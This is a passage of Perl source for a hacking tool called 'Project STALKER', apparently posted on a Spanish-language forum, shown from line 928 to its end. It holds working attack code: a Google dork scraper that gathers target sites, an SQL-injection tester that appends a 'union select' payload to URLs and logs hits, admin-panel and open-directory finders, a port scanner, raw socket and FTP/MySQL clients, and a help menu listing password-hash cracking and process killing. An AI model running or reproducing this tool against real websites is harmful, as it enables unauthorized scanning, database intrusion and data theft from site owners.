  928. }
  929.  
  930. if ($cmd=~/exit/ig) {
  931. next;
  932. }
  933.  
  934. if ($cmd=~/get (.*) (.*)/ig) {
  935. print "\n\n[+] Downloading file\n\n";
  936. if ($socket->get($1,$2)) {
  937. print "[+] Download completed";
  938. } else {
  939. print "\n\n[-] Error\n\n";
  940. }
  941. }
  942.  
  943. if ($cmd=~/put (.*) (.*)/ig) {
  944. print "\n\n[+] Uploading file\n\n";
  945. if ($socket->put($1,$2)) {
  946. print "[+] Upload completed";
  947. } else {
  948. print "\n\n[-] Error\n\n";
  949. }
  950. }
  951.  
  952. if ($cmd=~/quit/) {
  953. next;
  954. }
  955.  
  956. goto menu;
  957.  
  958. } else {
  959. print "\n[-] Failed the login\n\n";
  960. }
  961.  
  962. } else {
  963. print "\n\n[-] Error\n\n";
  964. }
  965.  
  966.  
  967.  
  968. }
  969.  
  970.  
  971. sub scanpaths {
  972.  
  973. my $urla = $_[0];
  974.  
  975. print "\n[+] Find paths in $urla\n\n\n";
  976. my @urls = repes(get_links(toma($urla)));
  977. for $url(@urls) {
  978. my $web = $url;
  979. my ($scheme, $auth, $path, $query, $frag)  = uri_split($url);
  980. if ($_[0] =~/$auth/ or $auth eq "") {
  981. if ($path=~/(.*)\/(.*)\.(.*)$/) {
  982. my $borrar = $2.".".$3;
  983. if ($web=~/(.*)$borrar/) {
  984. my $co = $1;
  985. unless ($co=~/$auth/) {
  986. $co = $urla.$co;
  987. }
  988. $code = toma($co);
  989. if ($code=~/Index Of/ig) {
  990. print "[Link] : ".$co."\n";
  991. saveyes("logs/paths-found.txt",$co);
  992. }}}}}
  993. print "\n\n[+] Finish\n";
  994. }
  995.  
  996.  
  997. sub scanport {
  998.  
  999. my %ports = ("21"=>"ftp",
  1000. "22"=>"ssh",
  1001. "25"=>"smtp",
  1002. "80"=>"http",
  1003. "110"=>"pop3",
  1004. "3306"=>"mysql"
  1005. );
  1006.  
  1007.  
  1008. print "[+] Scanning $_[0]\n\n\n";
  1009.  
  1010. for my $port(keys %ports) {
  1011.  
  1012. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  1013. print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
  1014. }
  1015. }
  1016. print "\n\n[+] Finish\n";
  1017. }
  1018.  
  1019.  
  1020. sub scanpanel {
  1021. print "[+] Scanning $_[0]\n\n\n";
  1022. for $path(@panels) {
  1023. $code = tomax($_[0]."/".$path);
  1024. if ($code->is_success) {
  1025. print "[Link] : ".$_[0]."/".$path."\n";
  1026. saveyes("logs/panel-logs.txt",$_[0]."/".$path);
  1027. }
  1028. }
  1029. print "\n\n[+] Finish\n";
  1030. }
  1031.  
  1032. sub google {
  1033. my($a,$b) = @_;
  1034. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  1035. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  1036. my @links = get_links($code);
  1037. for my $l(@links) {
  1038. if ($l =~/webcache.googleusercontent.com/) {
  1039. push(@url,$l);
  1040. }
  1041. }
  1042. }
  1043.  
  1044. for(@url) {
  1045. if ($_ =~/cache:(.*?):(.*?)\+/) {
  1046. push(@founds,$2);
  1047. }
  1048. }
  1049.  
  1050. my @founds = repes(@founds);
  1051.  
  1052. return @founds;
  1053. }
  1054.  
  1055.  
  1056. sub sql {
  1057.  
  1058. my ($pass1,$pass2) = ("+","--");
  1059. my $page = shift;
  1060. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  1061. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  1062. print "[+] SQLI : $page\a\n";
  1063. saveyes("logs/sql-logs.txt",$page);
  1064. }}
  1065.  
  1066. sub get_links {
  1067.  
  1068. my $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  1069. return @links;
  1070.  
  1071. sub agarrar {
  1072. my ($a,%b) = @_;
  1073. push(@links,values %b);
  1074. }
  1075.  
  1076. }
  1077.  
  1078. sub repes {
  1079. foreach $test(@_) {
  1080. push @limpio,$test unless $repe{$test}++;
  1081. }
  1082. return @limpio;
  1083. }
  1084.  
  1085. sub head {
  1086. cprint "\x0311"; #13
  1087. print "\n\n-- == Project STALKER == --\n\n";
  1088. cprint "\x030";
  1089. }
  1090.  
  1091. sub copyright {
  1092. cprint "\x0311"; #13
  1093. print"\n\n(C) Doddy Hackman 2011\n\n";
  1094. cprint "\x030";
  1095. }
  1096.  
  1097. sub toma {
  1098. return $nave->get($_[0])->content;
  1099. }
  1100.  
  1101. sub tomax {
  1102. return $nave->get($_[0]);
  1103. }
  1104.  
  1105. sub tomar {
  1106. my ($web,$var) = @_;
  1107. return $nave->post($web,[%{$var}])->content;
  1108. }
  1109.  
  1110.  
  1111. sub conectar {
  1112.  
  1113. my $sockex = new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $_[1],
  1114. Proto => "tcp",Timeout  => 5);
  1115.  
  1116. print $sockex $_[2]."\r\n";
  1117. $sockex->read($re,5000);
  1118. $sockex->close;
  1119. return $re."\r\n";
  1120. }
  1121.  
  1122.  
  1123. sub enter {
  1124.  
  1125. my ($host,$user,$pass) = @_;
  1126.  
  1127. print "[+] Connecting to the server\n";
  1128.  
  1129. $info = "dbi:mysql::".$host.":3306";
  1130. if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {
  1131.  
  1132. print "\n[+] Enter in the database";
  1133.  
  1134. while(1) {
  1135. print "\n\n\n[+] Query : ";
  1136. chomp(my $ac = <stdin>);
  1137.  
  1138. if ($ac eq "exit") {
  1139. $enter->disconnect;
  1140. print "\n\n[+] Closing connection\n\n";
  1141. last;
  1142. }
  1143.  
  1144. $re = $enter->prepare($ac);
  1145. $re->execute();
  1146. my $total = $re->rows();
  1147.  
  1148. my @columnas = @{$re->{NAME}};
  1149.  
  1150. if ($total eq "-1") {
  1151. print "\n\n[-] Query Error\n";
  1152. next;
  1153. } else {
  1154. print "\n\n[+] Result of the query\n";
  1155. if ($total eq 0) {
  1156. print "\n\n[+] Not rows returned\n\n";
  1157. } else {
  1158. print "\n\n[+] Rows returned : ".$total."\n\n\n";
  1159. for(@columnas) {
  1160. print $_."\t\t";
  1161. }
  1162. print "\n\n";
  1163. while (@row = $re->fetchrow_array) {
  1164. for(@row) {
  1165. print $_."\t\t";
  1166. }
  1167. print "\n";
  1168. }}}}
  1169. } else {
  1170. print "\n[-] Error connecting\n";
  1171. }}
  1172.  
  1173. sub saveyes {
  1174. open (SAVE,">>".$_[0]);
  1175. print SAVE $_[1]."\n";
  1176. close SAVE;
  1177. }
  1178.  
  1179. sub savefile {
  1180. open (SAVE,">>logs/webs/".$_[0]);
  1181. print SAVE $_[1]."\n";
  1182. close SAVE;
  1183. }
  1184.  
  1185. sub coleccionar {
  1186. opendir DIR,$_[0];
  1187. my @archivos = readdir DIR;
  1188. close DIR;
  1189. return @archivos;
  1190. }
  1191.  
  1192. sub helpme {
  1193.  
  1194. cprint "\x0310"; #13
  1195. print qq(
  1196.  
  1197. Commands :
  1198.  
  1199.  
  1200. getinfo
  1201. getip <host>
  1202. getlink <page>
  1203. getprocess
  1204. killprocess <name process> <pid process>
  1205. conec <host> <port> <command>  
  1206. allow <host>
  1207. paths <page>
  1208. encodehex <text>
  1209. decodehex <text>
  1210. encodeascii <text>
  1211. decodeascii <text>
  1212. encodebase <text>
  1213. decodebase <text>
  1214. scanport <host>
  1215. panel <page>
  1216. getpass <hash>
  1217. kobra <page>
  1218. ftp <host> <user> <pass>
  1219. mysql <host> <user> <pass>
  1220. navegator
  1221. scangoogle
  1222. help
  1223. exit
  1224.  
  1225. );
  1226. cprint "\x030";
  1227. }
  1228.  
  1229. #
  1230. #  The End ?
  1231. #
  1232.  
Páginas: 1 ... 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [39] 40 41 42 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines